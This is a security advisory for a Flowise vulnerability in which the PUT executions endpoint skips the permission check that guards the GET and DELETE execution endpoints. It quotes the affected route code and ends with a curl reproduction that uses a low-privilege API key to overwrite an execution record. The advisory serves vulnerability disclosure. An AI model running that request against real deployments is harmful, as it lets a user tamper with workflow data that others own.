CVE-2026-70475: Flowise: Missing Authorization on Execution Update Endpoint

Flowise Security Audit Report Date: 2026-03-17 Researcher: Dimpal Jadhav (jadhavdimpy@gmail.com) GitHub: https://github.com/Dimpyj1604 Target: FlowiseAI/Flowise (latest main branch) Version: flowise-components@3.1.0

FINDING 1: Missing Authorization on Execution Update Endpoint Severity: HIGH (CVSS ~7.5) Type: CWE-862 (Missing Authorization) File: packages/server/src/routes/executions/index.ts:11

Description: The PUT /api/v1/executions/:id endpoint lacks the checkAnyPermission() middleware that protects all other execution endpoints (GET, DELETE). Any authenticated user — regardless of their assigned permissions — can modify any execution record.

Evidence: typescript // Line 7 - GET has permission check router.get('/', checkAnyPermission('executions:view'), executionController.getAllExecutions)

// Line 11 - PUT has NO permission check router.put(['/', '/:id'], executionController.updateExecution) // <-- MISSING checkAnyPermission

// Line 14 - DELETE has permission checkadvisory1executionauthbypass router.delete('/:id', checkAnyPermission('executions:delete'), executionController.deleteExecutions)

Impact: Privilege escalation. A low-privileged user with any valid API key can modify execution state, data, and metadata of any execution in their workspace. Could be used to manipulate workflow execution results or inject data.

Reproduction: bash curl -X PUT https://TARGET/api/v1/executions/EXECUTIONID \ -H "Authorization: Bearer LOWPRIVAPIKEY" \ -H "Content-Type: application/json" \ -d '{"state": "FINISHED", "data": "MANIPULATED"}'